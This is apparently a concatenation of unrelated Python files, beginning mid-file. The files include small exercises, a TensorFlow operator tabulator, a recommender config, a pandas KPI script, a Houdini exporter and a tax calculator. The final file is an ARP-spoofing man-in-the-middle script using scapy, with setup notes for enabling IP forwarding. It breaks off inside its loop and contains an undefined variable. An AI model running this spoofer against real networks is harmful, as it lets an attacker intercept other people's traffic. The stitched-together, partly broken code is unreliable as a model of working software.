if __name__ == "__main__":
    main()


num = int(input())
k = int(input())
number = num
is_factor = False
count = 0
for each in range(1,num+1):
    if not is_factor:
        if (num % number) == 0:
            count = count + 1
        if count == k:
            print(number)
            is_factor = True
    number = number - 1


import os
import tensorflow as tf
import xlsxwriter
from tflite import Model
from tflite.BuiltinOperator import BuiltinOperator

ignore = {
    # TF
    "Placeholder",
    "Const",
    "Identity",
    "Shape",
    "FIFOQueueV2",
    "QueueDequeueManyV2",
    "TensorArrayV3",
    "Enter",
    "Merge",
    "Range",
    "TensorArrayScatterV3",
    "TensorArraySizeV3",
    "TensorArrayReadV3",
    "TensorArrayWriteV3",
    "TensorArrayGatherV3",
    "NextIteration",
    "Less",
    "LoopCond",
    "Pack",
    "Unpack",
    "Switch",
    "Exit",
    "ExpandDims",
    "ZerosLike",
    "Tile",
    "Gather",
    "Assert",
    "Where",
    "TopKV2",
    "Fill",
    "Size",
    "NonMaxSuppressionV2",

    # TFLITE
    "DEQUANTIZE",
    "CUSTOM",
}

opMap = {
    "BiasAdd": "Add",
    "Add": "Add",
    "AddV2": "Add",
    "ADD": "Add",
    "RealDiv": "Div",
    "Equal": "Equal",
    "Exp": "Exp",
    "Greater": "Greater",
    "Mean": "Mean",
    "MEAN": "Mean",
    "Mul": "Mul",
    "MUL": "Mul",
    "Sub": "Sub",
    "SUB": "Sub",
    "Maximum": "Maximum",
    "Minimum": "Minimum",
    "AvgPool": "AvgPool",
    "AVERAGE_POOL_2D": "AvgPool",
    "MaxPool": "MaxPool",
    "MAX_POOL_2D": "MaxPool",
    "FusedBatchNorm": "BatchNorm",
    "FusedBatchNormV3": "BatchNorm",
    "ConcatV2": "Concat",
    "CONCATENATION": "Concat",
    "Cast": "Cast",
    "Conv2D": "Conv",
    "CONV_2D": "Conv",
    "DepthwiseConv2dNative": "GroupConv(Depthwise)",
    "DEPTHWISE_CONV_2D": "GroupConv(Depthwise)",
    "ResizeBilinear": "ResizeBilinear",
    "Relu": "Relu",
    "Relu6": "Relu6",
    "Sigmoid": "Sigmoid",
    "LOGISTIC": "Sigmoid",
    "Reshape": "Reshape",
    "RESHAPE": "Reshape",
    "Transpose": "Transpose",
    "Softmax": "Softmax",
    "SOFTMAX": "Softmax",
    "Squeeze": "Squeeze",
    "Pad": "Pad",
    "PAD": "Pad",
    "StridedSlice": "Slice",
    "Slice": "Slice",
    "Split": "Split",
}

opKey = list(dict.fromkeys(opMap.values()))

def parse_pb(path, worksheet, pos):
    f = open(path, "rb")
    graph_def = tf.GraphDef()
    graph_def.ParseFromString(f.read())

    ops = []
    for node in graph_def.node:
        ops.append(node.op)

    #print(path)
    worksheet.write(0, pos[0], os.path.basename(path))
    for op in dict.fromkeys(ops):
        if op not in ignore:
            #print(opMap[op])
            worksheet.write(opKey.index(opMap[op])+1, pos[0], "○")
    pos[0] += 1

def parse_tflite(path, worksheet, pos):
    f = open(path, "rb")
    model = Model.Model.GetRootAsModel(f.read(), 0)

    # Code borrowed from https://github.com/apache/incubator-tvm
    ops = {}
    for field_name in dir(BuiltinOperator):
        if not field_name.startswith('_'):
            field_value = getattr(BuiltinOperator, field_name)
            if isinstance(field_value, int):
                ops[field_value] = field_name

    #print(path)
    worksheet.write(0, pos[0], os.path.basename(path))
    for i in range(0, model.OperatorCodesLength()):
        opcode = model.OperatorCodes(i).BuiltinCode()
        op = ops[opcode]
        if op not in ignore:
            #print(opMap[op])
            worksheet.write(opKey.index(opMap[op])+1, pos[0], "○")
    pos[0] += 1

if __name__ == "__main__":
    workbook = xlsxwriter.Workbook('table.xlsx')
    worksheet = workbook.add_worksheet()
    pos = [0]
    for i, k in enumerate(opKey, start=1):
        worksheet.write(i, pos[0], k)
    pos[0] += 1

    dirname = "models"
    for fname in os.listdir(dirname):
        path = os.path.join(dirname, fname)
        _, ext = os.path.splitext(path)
        if ext == ".pb":
            parse_pb(path, worksheet, pos)
        elif ext == ".tflite":
            parse_tflite(path, worksheet, pos)

    workbook.close()


from subfind_provider_subscene import get_short_lang

__author__ = 'hiepsimu'
import logging
import unittest

logging.basicConfig(level=logging.DEBUG)

class LangTestCase(unittest.TestCase):
    def test_01(self):
        self.assertEqual('vi', get_short_lang('vietnamese'))
        self.assertEqual('vi', get_short_lang('Vietnamese'))
        self.assertEqual('en', get_short_lang('English'))
        self.assertEqual(None, get_short_lang('InvalidLang'))

if __name__ == '__main__':
    unittest.main()


# -*- coding: utf-8 -*-

# this file contains all variables that are set by the user and other configuration options

# import libraries
import nltk
import shutil
from pathlib import Path
from dataclasses import dataclass
from fasttext.util import download_model

# Define directories
DATA_DIR = Path(__file__).parent.parent / "data"
MODELS_DIR = Path(__file__).parent.parent / "models"
LOGS_DIR = Path(__file__).parent.parent / "logs"

# Model names
BASE_NAME_FASTTEXT = 'cc.de.300.bin'
BASE_NAME_RIPPLENET = 'ripple_net_model.h5'
BASE_NAME_TRANSE = 'transe.ckpt'
BASE_NAME_TRANSD = 'transd.ckpt'
BASE_NAME_TRANSH = 'transh.ckpt'
BASE_NAME_TRANSR = 'transr.ckpt'
BASE_NAME_TRANSR_TRANSE = 'transr_transe.json'

# Parameters
K_LIST = [1, 2, 5, 10, 20, 50, 100] # Positions to evaluate top-k recommendation on
DKN_KGE_METHOD = "TransE"
DKN_KGE_ENTITY_EMBEDDING_DIM = 50
MAX_ARTICLE_LENGTH = 400
W2V_WORD_EMBEDDING_DIM = 200

# Define filenames
FILENAME_ARTICLES = DATA_DIR / "articles.csv"
FILENAME_USER_ITEM_MATRIX = DATA_DIR / "user_item_matrix.csv"
FILENAME_URL2NEWS_NODE_MAP = DATA_DIR / "url2news_node_map.p"
FILENAME_KG = DATA_DIR / "kg.p"
FILENAME_SUBGRAPH = DATA_DIR / "subgraph.p"
FILENAME_KG_FINAL_TXT = DATA_DIR / "kg_final.txt"
FILENAME_KG_FINAL_NPY = DATA_DIR / "kg_final.npy"
FILENAME_RATINGS_FINAL_TXT = DATA_DIR / "ratings_final.txt"
FILENAME_RATINGS_FINAL_NPY = DATA_DIR / "ratings_final.npy"
FILENAME_USER_HISTORY_DICT = DATA_DIR / 'user_history_dict.p'
FILENAME_TRAIN_RATINGS = DATA_DIR / "train_ratings.npy"
FILENAME_TEST_RATINGS = DATA_DIR / "test_ratings.npy"
FILENAME_TEST_RATINGS_RANDOM = DATA_DIR / 'test_ratings_random.npy'
FILENAME_TEST_RATINGS_NO_TFIDF = DATA_DIR / 'test_ratings_no_tfidf.npy'
FILENAME_TEST_RATINGS_NO_WORD2VEC = DATA_DIR / 'test_ratings_no_word2vec.npy'
FILENAME_TEST_RATINGS_NO_TRANSFORMER = DATA_DIR / 'test_ratings_no_transformer.npy'
FILENAME_ENTITY_ID2INDEX = DATA_DIR / "entity_id2index.p"
FILENAME_RELATION_ID2INDEX = DATA_DIR/ "relation_id2index.p"
FILENAME_NEWS_ID2INDEX = DATA_DIR / "news_id2index.p"
FILENAME_USER_RECOMMENDER_MAPPING = DATA_DIR / 'user_recommender_mapping.csv'
FILENAME_RAW_TRAIN_DATA = DATA_DIR / "raw_train.txt"
FILENAME_TRAIN_DATA = DATA_DIR / "train.txt"
FILENAME_RAW_TEST_DATA = DATA_DIR / "raw_test.txt"
FILENAME_RAW_RANDOM_TEST_DATA = DATA_DIR / "raw_random_test.txt"
FILENAME_TEST_DATA = DATA_DIR / "test.txt"
FILENAME_RANDOM_TEST_DATA = DATA_DIR / "random_test.txt"
FILENAME_ENTITY2INDEX = DATA_DIR / "entity2index.txt"
FILENAME_ENTITY2ID = DATA_DIR / "entity2id.txt"
FILENAME_RELATION2ID = DATA_DIR/ "relation2id.txt"
FILENAME_TRIPLE2ID = DATA_DIR/ "train2id.txt"

FILENAME_FASTTEXT_MODEL = MODELS_DIR / BASE_NAME_FASTTEXT
FILENAME_RIPPLENET_MODEL = MODELS_DIR / BASE_NAME_RIPPLENET
FILENAME_TRANSE_MODEL = MODELS_DIR / BASE_NAME_TRANSE
FILENAME_TRANSD_MODEL = MODELS_DIR / BASE_NAME_TRANSD
FILENAME_TRANSH_MODEL = MODELS_DIR / BASE_NAME_TRANSH
FILENAME_TRANSR_MODEL = MODELS_DIR / BASE_NAME_TRANSR
FILENAME_TRANSR_TRANSE_MODEL = MODELS_DIR / BASE_NAME_TRANSR_TRANSE

# Create directories if they do not exist
for directory in [DATA_DIR, MODELS_DIR, LOGS_DIR]:
    if directory.exists() == False:
        directory.mkdir()

# Class that corresponds to the column names in dataframe
@dataclass
class DataFrameColumns:
    author = 'author_person'
    title = 'title'
    content = 'content'
    sentiment = 'sentiment_score'
    provenance = 'provenance'
    preprocessed_content = 'preprocessed_content'

# Variables used for replacing certain expressions
PLACEHOLDER_OUTLET = 'Medium'

# Get stopwords from external sources
try:
    # Assign variable
    STOP_WORDS = set(nltk.corpus.stopwords.words('german'))

except Exception:

    # Download nltk vocab
    nltk.download('stopwords')
    STOP_WORDS = set(nltk.corpus.stopwords.words('german'))

# Download fasttext model
if not FILENAME_FASTTEXT_MODEL.exists():

    source_filename = Path.cwd() / BASE_NAME_FASTTEXT
    download_model('de')
    shutil.move(source_filename, FILENAME_FASTTEXT_MODEL)


from math import factorial as fact
import common as c

'''
main block that uses is_strong() to check if its strong number
'''
def main() :
    num = c.read('Enter the number.\n')
    if is_strong(num) :
        print(f'{num} is a strong number.')
    else :
        print(f'{num} isn\'t a strong number.')

# is_strong() returns if true or false based on caluclate result from calculate()
def is_strong(num:int)-> bool:
    if calculate(num) == num:
        return True
    return False

# does necessary calculation for finding if it is a strong number
def calculate(num:int)-> int:
    res = 0
    while num :
        res = c.add(res, fact(c.digit_retriver(num)))
        num = c.num_truncate(num)
    return res

if __name__ == '__main__' :
    main()


import http.client

# Create a large sample HTTP request with a size larger than 1024 bytes
large_request = "GET /example HTTP/1.1\r\n" + ("X" * 1500)  # Total size exceeds 1024 bytes

# Set up the HTTP connection to your server
conn = http.client.HTTPConnection("localhost", 6789)  # Replace with your server's host and port

# Send the large request to the server
conn.request("GET", "/", large_request)
response = conn.getresponse()

# Read and print the response from the server
print(response.read().decode())

# Close the connection
conn.close()


import schedule
import vars
import time
import win32com.client
import logging
from datetime import datetime
from os import environ

def run_job(url, start_time, end_time):
    logging.info('Start job: %s', url)
    if start_time:
        t_now = datetime.now()
        t_start = datetime.strptime(start_time, '%H:%M')
        t_start = t_now.replace(hour=t_start.hour, minute=t_start.minute)
    else:
        t_start = datetime.min
    if end_time:
        t_end = datetime.strptime(end_time, '%H:%M')
        t_end = t_now.replace(hour=t_end.hour, minute=t_end.minute)
    else:
        t_end = datetime.max
    if (t_now >= t_start) and (t_now <= t_end):
        try:
            helpdesk.open("GET", url, False)
            helpdesk.send()
            logging.debug(helpdesk.responseText)
        except Exception as e:
            logging.error("ERROR: %s", e)
        finally:
            logging.info('Finish job: %s', url)

helpdesk = win32com.client.Dispatch('MSXML2.ServerXMLHTTP')

log_path = '{}\\Telebot\\Logs\\cron.log'.format(environ['PROGRAMDATA'])
logging.basicConfig(
        filename=log_path, format='%(asctime)s:%(process)d:%(levelname)s:%(message)s',
        level=vars.log_level)

fixed_time_jobs = [job for job in vars.crontab if job['interval'] == 0]
for job in fixed_time_jobs:
    logging.info('Found job: Run daily at %s, URL: %s', job['start_time'],
                 'http://{}/{}'.format(vars.server, job['url']))

interval_jobs = [job for job in vars.crontab if job['interval'] > 0]
for job in interval_jobs:
    logging.info('Found job: Run every %s minutes, URL: %s, From: %s, Till: %s', job['interval'],
                 'http://{}/{}'.format(vars.server, job['url']),
                 job['start_time'],
                 job['end_time']
                 )

for job in fixed_time_jobs:
    schedule.every().day.at(job['start_time']).do(
        run_job,
        url='http://{}/{}'.format(vars.server, job['url']),
        start_time=job['start_time'],
        end_time=job['end_time'])

for job in interval_jobs:
    schedule.every(job['interval']).minutes.do(
        run_job,
        url='http://{}/{}'.format(vars.server, job['url']),
        start_time=job['start_time'],
        end_time=job['end_time'])

while True:
    schedule.run_pending()
    time.sleep(1)


import pandas as pd
import numpy as np

df = pd.read_excel('redcap_data.xlsx')
df_t = df.pivot_table(index=['project_id', 'event_id'], columns='field_name', values='value', aggfunc=np.sum)
df_t_new = df_t.reset_index()
df_t_new['UniqueID'] = df_t_new['project_id'].map(str) + '-' + df_t_new['event_id'].map(str)
df_t_new['Fiscal_Dec'] = np.where(pd.DatetimeIndex(df_t_new['startdate']).month < 4,0,1)
df_t_new['Year'] = pd.DatetimeIndex(df_t_new['startdate']).year + df_t_new['Fiscal_Dec']
df_t_new['Federal_Tax_Benefits'] = df_t_new['fed_taxcbc'] + df_t_new['fed_taxhstgst'] + df_t_new['fed_taxwitb']
df_t_new['Provincial_Tax_Benefits'] = df_t_new['prov_taxotb'] + df_t_new['prov_taxcai']
df_t_new['Data_Source'] = 'OFEC'
df_t_new.rename(columns={'quarter':'Quarter', 'clients_coaching':'Number_of_people_receiving_financial_coaching',
                  'fl_tttworkshops':'Number_of_financial_literacy_trainings_conducted',
                  'ben_claimed_total':'Other_Benefits_Secured'}, inplace=True)

######## INSERT DATA INTO A NEW DF NAMED KPI ##########
KPI_OFEC = pd.DataFrame(df_t_new, columns=['UniqueID', 'Year', 'Quarter', 'Data_Source', 'Number_of_people_receiving_financial_coaching',
                                       'Number_of_financial_literacy_trainings_conducted', 'Federal_Tax_Benefits',
                                       'Provincial_Tax_Benefits', 'Other_Benefits_Secured'])

## FEPS
#Import service info
df = pd.read_csv('FEPS_dboServices.csv',
                 skipinitialspace = True,
                 usecols = list(range(0,5)) + list(range(6,186)),
                   dtype = {"Agency":"str"},
                  keep_default_na = True)
df2 = df.iloc[:,0:7]
fis_year = pd.PeriodIndex(df2.iloc[:,3].astype("datetime64"), freq='Q-MAR')
df2['year'] = pd.DataFrame(fis_year.astype(str).str[0:4].astype(int))
df2['quarter'] = pd.DataFrame(fis_year.astype(str).str[5])
df2['SessionID'] = df2['SessionID'].astype(str)

#import outcome info
df_2 = pd.read_csv('FEPS_dboOutcomes.csv',
                 skipinitialspace = True,
                 usecols = range(0,7),
                 dtype = {"Agency":"str",
                          "SessionID":"str",
                          "OCMSID":"str",
                          "Area":"str",
                          "Description":"str",
                          "Amount":"float64"
                         },
                    parse_dates=['TaxYear'],
                 keep_default_na = True)

table = pd.pivot_table(df_2, values='Amount', index=['SessionID'],
                    columns=['Description'], aggfunc=np.sum).reset_index().fillna(0).loc[:,['SessionID']]
tax = pd.pivot_table(df_2[df_2['Area'] == 'Income Tax Secured'], values='Amount', index=['SessionID'],
                    columns=['Description'], aggfunc=np.sum).reset_index().fillna(0)
tax['Federal Tax Benefits'] = tax['Tax Refund'] + tax['GST'] + tax['Canada Child Benefit']
tax['Provincial Tax Benefits'] = tax['OTB'] + tax['OSTC'] + tax['OEPTC']
OtherBenefits = pd.pivot_table(df_2[df_2['Area'] == 'Other Benefits Secured'], values='Amount', index=['SessionID'],
                    columns=['Area'], aggfunc=np.sum).reset_index().fillna(0)
table1 = pd.merge(table, tax,  how='left', left_on=['SessionID'], right_on = ['SessionID'])
table1 = pd.merge(table1, OtherBenefits,  how='left', left_on=['SessionID'], right_on = ['SessionID'])
table2 = table1.loc[:,['SessionID','Federal Tax Benefits','Provincial Tax Benefits','Other Benefits Secured']].fillna(0)

#Join two tables
master = df2.set_index('SessionID').join(table2.set_index('SessionID')).reset_index()
master[master.duplicated(subset=['SessionID','OCMSID'], keep= False)]
FEPS = master.loc[:,['SessionID','year','quarter']]
FEPS['Data_Source'] = 'FEPS'
FEPS.drop_duplicates(keep="first",inplace=True)
a = master.groupby(['SessionID']).OCMSID.nunique().reset_index()
FEPS['Number_of_people_receiving_financial_coaching'] = a.iloc[:,1].values
b = master.groupby(['SessionID'])['Federal Tax Benefits'].sum().reset_index()
FEPS['Federal Tax Benefits'] = b.iloc[:,1].values
c = master.groupby(['SessionID'])['Provincial Tax Benefits'].sum().reset_index()
FEPS['Provincial Tax Benefits'] = c.iloc[:,1].values
d = master.groupby(['SessionID'])['Other Benefits Secured'].sum().reset_index()
FEPS['Other Benefits Secured'] = d.iloc[:,1].values
FEPS.fillna(0)
FEPS.rename(columns={'SessionID': 'UniqueID',
                     'year':'Year',
                     'quarter':'Quarter',
                    'Federal Tax Benefits': 'Federal_Tax_Benefits',
                     'Provincial Tax Benefits': 'Provincial_Tax_Benefits',
                     'Other Benefits Secured': 'Other_Benefits_Secured'
                    }, inplace=True)

######## INSERT DATA INTO A NEW DF NAMED KPI ##########
KPI_FEPS = pd.DataFrame(FEPS, columns=['UniqueID', 'Year', 'Quarter', 'Data_Source', 'Number_of_people_receiving_financial_coaching',
                                 'Federal_Tax_Benefits',
                                       'Provincial_Tax_Benefits', 'Other_Benefits_Secured'])

# Create master table
mastertable = pd.concat([KPI_OFEC, KPI_FEPS])


import random

def rock_paper_scissor():
  if user == computer:
    print("Tie")
  elif user == "Rock":
    if computer == "scissors":
      print("Rock Smashes Scissors, You Win..!")
    else:
      print("Paper Covers Rock, You lose..!")
  elif user == "paper":
    if computer == "Rock":
      print("Paper covers rock, You Win..!")
    else:
      print("Scissors cut Paper, You Lose..!")
  elif user == "scissors":
    if computer == "paper":
      print("Scissors cuts paper, You Win..!")
    else:
      print("Rock Smaches Scissors, You Lose..!")

user = input("Enter a choice (rock, paper, scissors) : ")
possible_actions = ["Rock", "paper", "scissors"]
computer = random.choice(possible_actions)
rock_paper_scissor()


import tensorflow as tf
(x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data()

x_train = x_train.reshape(x_train.shape[0], 28, 28, 1)
x_test = x_test.reshape(x_test.shape[0], 28, 28, 1)
input_shape = (28, 28, 1)

x_train = x_train.astype('float32')
x_test = x_test.astype('float32')

x_train /= 255
x_test /= 255

from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Conv2D, Dropout, Flatten, MaxPooling2D

model = Sequential()
model.add(Conv2D(32, (3, 3), activation='relu', kernel_initializer='he_uniform', input_shape=(28, 28, 1)))
model.add(Conv2D(64, (3, 3), activation='relu', kernel_initializer='he_uniform'))
model.add(Conv2D(64, (3, 3), activation='relu', kernel_initializer='he_uniform'))
model.add(MaxPooling2D((2, 2)))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(100, activation='relu', kernel_initializer='he_uniform'))
model.add(Dropout(0.25))
model.add(Dense(10, activation='softmax'))

model.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'])
model.fit(x=x_train,y=y_train, epochs=10)

model.save('model/mnist.h5')

model.evaluate(x_test, y_test)


from node import *

def preOrderFind8LetterNames(node):
    print(f"Visiting node {node}...")

    if len(str(node)) == 8:
        print(f'Found {node}')

    if node.left is not None:
        preOrderFind8LetterNames(node.left)
    if node.right is not None:
        preOrderFind8LetterNames(node.right)

def postOrderFind8LetterNames(node):

    if node.left is not None:
        postOrderFind8LetterNames(node.left)
    if node.right is not None:
        postOrderFind8LetterNames(node.right)

    print(f"Visiting node {node}...")
    if len(str(node)) == 8:
        print(f'Found {node}')

def inOrderFind8LetterNames(node):

    if node.left is not None:
        inOrderFind8LetterNames(node.left)

    print(f"Visiting node {node}...")
    if len(str(node)) == 8:
        print(f'Found {node}')

    if node.right is not None:
        inOrderFind8LetterNames(node.right)

if __name__ == "__main__":
    A, B, C, D, E, F, G, H = tree2()

    print("Pre-Order.")
    preOrderFind8LetterNames(A)

    print("Post-Order")
    postOrderFind8LetterNames(A)

    print("In-Order")
    inOrderFind8LetterNames(A)


# Author: Sergey Chaban <sergey.chaban@gmail.com>

import sys
import hou
import os
import imp
import re
import struct
import inspect
from math import *

import xcore
import xhou

try: xrange
except: xrange = range

class ColBVHNode:
	def __init__(self, bvh):
		self.bvh = bvh
		self.ipols = []
		self.left = None
		self.right = None
		self.bvh.addNode(self)

	def addPols(self, idx, cnt):
		for i in xrange(cnt):
			self.ipols.append(self.bvh.ipols[idx + i])
		self.bboxFromPols(idx, cnt)

	def bboxFromPols(self, idx, cnt):
		pol = self.bvh.col.pols[self.bvh.ipols[idx]]
		self.bboxMin = [pol.bboxMin[i] for i in xrange(3)]
		self.bboxMax = [pol.bboxMax[i] for i in xrange(3)]
		for i in xrange(1, cnt):
			pol = self.bvh.col.pols[self.bvh.ipols[idx + i]]
			for j in xrange(3):
				self.bboxMin[j] = min(self.bboxMin[j], pol.bboxMin[j])
				self.bboxMax[j] = max(self.bboxMax[j], pol.bboxMax[j])

	def build(self, idx, cnt, axis):
		if cnt == 1:
			self.addPols(idx, cnt)
		elif cnt == 2:
			self.left = ColBVHNode(self.bvh)
			self.left.addPols(idx, 1)
			self.right = ColBVHNode(self.bvh)
			self.right.addPols(idx+1, 1)
			self.bboxMin = [min(self.left.bboxMin[i], self.right.bboxMin[i]) for i in xrange(3)]
			self.bboxMax = [max(self.left.bboxMax[i], self.right.bboxMax[i]) for i in xrange(3)]
		else:
			self.bboxFromPols(idx, cnt)
			pivot = (self.bboxMin[axis] + self.bboxMax[axis]) * 0.5
			mid = self.bvh.split(idx, cnt, pivot, axis)
			nextAxis = (axis + 1) % 3
			self.left = ColBVHNode(self.bvh)
			self.right = ColBVHNode(self.bvh)
			self.left.build(idx, mid, nextAxis)
			self.right.build(idx + mid, cnt - mid, nextAxis)

	def writeInfo(self, bw):
		ipol = -1
		ileft = -1
		iright = -1
		if len(self.ipols) > 0: ipol = self.ipols[0]
		if self.left: ileft = self.bvh.nodeMap[self.left]
		if self.right: iright = self.bvh.nodeMap[self.right]
		if iright < 0:
			bw.writeI32(ipol)
		else:
			bw.writeI32(ileft)
		bw.writeI32(iright)

class ColBVH:
	def __init__(self, col):
		self.col = col
		npol = len(self.col.pols)
		self.ipols = [i for i in xrange(npol)]
		self.nodeLst = []
		self.nodeMap = {}
		self.root = ColBVHNode(self)
		bbsize = [(self.col.bboxMax[i] - self.col.bboxMin[i]) for i in xrange(3)]
		bbr = max(bbsize)
		axis = 0
		if bbr == bbsize[1]: axis = 1
		elif bbr == bbsize[2]: axis = 2
		self.root.build(0, npol, axis)

	def addNode(self, node):
		self.nodeMap[node] = len(self.nodeLst)
		self.nodeLst.append(node)

	def split(self, idx, cnt, pivot, axis):
		mid = 0
		for i in xrange(cnt):
			cpol = self.col.pols[self.ipols[idx + i]]
			cent = (cpol.bboxMin[axis] + cpol.bboxMax[axis]) * 0.5
			if cent < pivot:
				t = self.ipols[idx + i]
				self.ipols[idx + i] = self.ipols[idx + mid]
				self.ipols[idx + mid] = t
				mid += 1
		if mid == 0 or mid == cnt: mid = cnt // 2
		return mid

	def writeNodeBoxes(self, bw):
		for node in self.nodeLst:
			bw.writeFV(node.bboxMin)
			bw.writeFV(node.bboxMax)

	def writeNodeInfos(self, bw):
		for node in self.nodeLst:
			node.writeInfo(bw)

class ColGrp:
	def __init__(self, col, path):
		self.col = col
		self.path = path
		self.pathId = -1
		self.nameId = -1
		self.name = self.path
		if path:
			sep = self.path.rfind("/")
			if sep >= 0:
				self.pathId = self.col.strLst.add(self.path[:sep])
				self.name = self.name[sep+1:]
		self.nameId = self.col.strLst.add(self.getName())

	def getName(self):
		if self.name: return self.name
		return "$default"

class ColExporter(xcore.BaseExporter, xhou.PolModel):
	def __init__(self):
		xcore.BaseExporter.__init__(self)
		xhou.PolModel.__init__(self)
		self.sig = "XCOL"

	def build(self, sop):
		self.bboxMin = [0.0 for i in xrange(3)]
		self.bboxMax = [0.0 for i in xrange(3)]
		xhou.PolModel.build(self, sop)
		self.setNameFromPath(self.sop.parent().path())
		npol = len(self.pols)
		if npol < 1:
			return
		xhou.PolModel.initMtls(self)
		self.grps = []
		for mtlPath in self.mtlPaths:
			self.grps.append(ColGrp(self, mtlPath))
		self.bvh = ColBVH(self)
		self.maxVtxPerPol = 0
		for pol in self.pols:
			self.maxVtxPerPol = max(self.maxVtxPerPol, pol.numVtx())
		self.allPolsSameSize = True
		nvtx = self.pols[0].numVtx()
		for i in xrange(1, npol):
			if nvtx != self.pols[i].numVtx():
				self.allPolsSameSize = False
				break

	def writeHead(self, bw, top):
		npnt = len(self.pnts)
		npol = len(self.pols)
		ngrp = len(self.grps)
		ntri = self.ntris

		bw.writeFV(self.bboxMin) # +20
		bw.writeFV(self.bboxMax) # +2C
		bw.writeU32(npnt) # +38
		bw.writeU32(npol) # +3C
		bw.writeU32(ngrp) # +40
		bw.writeU32(ntri) # +44
		bw.writeU32(self.maxVtxPerPol) # +48
		bw.writeU32(0) # +4C reserved
		self.patchPos = bw.getPos()
		bw.writeU32(0) # +50 -> pnts
		bw.writeU32(0) # +54 -> pol idx org
		bw.writeU32(0) # +58 -> pol nvtx
		bw.writeU32(0) # +5C -> pol tri org
		bw.writeU32(0) # +60 -> pol idx
		bw.writeU32(0) # +64 -> pol grps
		bw.writeU32(0) # +68 -> pol tri idx
		bw.writeU32(0) # +6C -> pol bboxes
		bw.writeU32(0) # +70 -> pol nrms
		bw.writeU32(0) # +74 -> grp info
		bw.writeU32(0) # +78 -> BVH bboxes
		bw.writeU32(0) # +7C -> BVH infos

	def writeData(self, bw, top):
		bw.align(0x10)
		bw.patch(self.patchPos + 0, bw.getPos() - top) # -> pnts
		for pos in self.ppos: bw.writeFV(pos)

		bw.align(0x10)
		bw.patch(self.patchPos + 0x1C, bw.getPos() - top) # -> pol bboxes
		for pol in self.pols:
			bw.writeFV(pol.bboxMin)
			bw.writeFV(pol.bboxMax)

		if self.bvh:
			bw.align(0x10)
			bw.patch(self.patchPos + 0x28, bw.getPos() - top) # -> BVH bboxes
			self.bvh.writeNodeBoxes(bw)

		bw.align(4)
		bw.patch(self.patchPos + 0x20, bw.getPos() - top) # -> pol nrms
		for pol in self.pols:
			onrm = xcore.encodeOcta(pol.nrm)
			for i in xrange(2): onrm[i] = (onrm[i] + 1.0) * 0.5
			bw.writeU16(xcore.u16(onrm[0]))
			bw.writeU16(xcore.u16(onrm[1]))

		bw.align(4)
		bw.patch(self.patchPos + 4, bw.getPos() - top) # -> pol idx org
		idxOrg = 0
		for pol in self.pols:
			nvtx = pol.numVtx()
			bw.writeI32(idxOrg)
			idxOrg += nvtx

		if not self.maxVtxPerPol == 3:
			bw.align(4)
			bw.patch(self.patchPos + 0xC, bw.getPos() - top) # -> pol tri org
			triOrg = 0
			for pol in self.pols:
				nvtx = pol.numVtx()
				otri = -1
				if nvtx > 3:
					otri = triOrg
				bw.writeI32(otri)
				if nvtx > 3:
					triOrg += len(pol.tris)

		bw.align(4)
		bw.patch(self.patchPos + 0x10, bw.getPos() - top) # -> pol idx
		for pol in self.pols:
			for pid in pol.pids: bw.writeI32(pid)

		if self.bvh:
			bw.align(0x10)
			bw.patch(self.patchPos + 0x2C, bw.getPos() - top) # -> BVH infos
			self.bvh.writeNodeInfos(bw)

		bw.align(4)
		bw.patch(self.patchPos + 0x24, bw.getPos() - top) # -> grp info
		for grp in self.grps:
			self.writeStrId16(bw, grp.nameId)
			self.writeStrId16(bw, grp.pathId)

		if len(self.grps) > 1:
			bw.patch(self.patchPos + 0x14, bw.getPos() - top) # -> pol grps
			for pol in self.pols:
				bw.writeU8(pol.imtl)

		if not self.allPolsSameSize:
			bw.patch(self.patchPos + 8, bw.getPos() - top) # -> pol nvtx
			for pol in self.pols:
				bw.writeU8(pol.numVtx())

		if not self.maxVtxPerPol == 3:
			bw.patch(self.patchPos + 0x18, bw.getPos() - top) # -> pol tri idx
			for pol in self.pols:
				if pol.numVtx() > 3:
					for irel in pol.tris:
						bw.writeU8(irel)

	def save(self, outPath):
		if self.allPolsSameSize: self.flags |= 1
		xcore.BaseExporter.save(self, outPath)


""" Ass1 Task1 Q3 - GregL 83186557 - T1Q3.py """

from sys import argv

# setup above tax table into arrays supporting the calculation
TabLow = [0, 18200, 37000, 87000, 180000]
TaxBase = [0,    0,  3572, 19822,  54532]
TaxRate = [0, 0.19, 0.325,  0.37,   0.45]

# first parm should be gross income, otherwise prompt for it
gInc = float(argv[1] if len(argv) >= 2 else input("Gross income? "))

# using tax table values, calculate TaxOwed
if gInc < TabLow[1]:
    TaxOwed = 0
elif gInc < TabLow[2]:
    TaxOwed = TaxBase[1] + TaxRate[1] * (gInc - TabLow[1])
elif gInc < TabLow[3]:
    TaxOwed = TaxBase[2] + TaxRate[2] * (gInc - TabLow[2])
elif gInc < TabLow[4]:
    TaxOwed = TaxBase[3] + TaxRate[3] * (gInc - TabLow[3])
else:
    TaxOwed = TaxBase[4] + TaxRate[4] * (gInc - TabLow[4])

# display gross income with calculated TaxOwed and after-tax income
print("\n    gross income = %.2f" % gInc)
print(  "   tax liability = %.2f" % TaxOwed)
print(  "after-tax income = %.2f" % (gInc-TaxOwed) )


#!/usr/bin/env python

import scapy.all as scapy
import time

def get_mac(ip):
    """
        Get the mac address of the given IP
    """
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast_arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
    """
        scapy.ARP()  will put my mac address as the source mac address by default
        op field is 1 by default wich means arp request, 2 is a response
        before use need to able packet forwarding in kali
        to dp so :
                echo 1 > /proc/sys/net/ipv4/ip_forward
    """
    target_mac=get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet)

def restore(destination_ip, source_ip):
    """
        Restore the correct ARP table
    """
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip,hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)

targetIP = 0
routerIP = 0 # routerIP = gateway_ip
#python 3
try:
    packets_sent_count = 0
    while True:
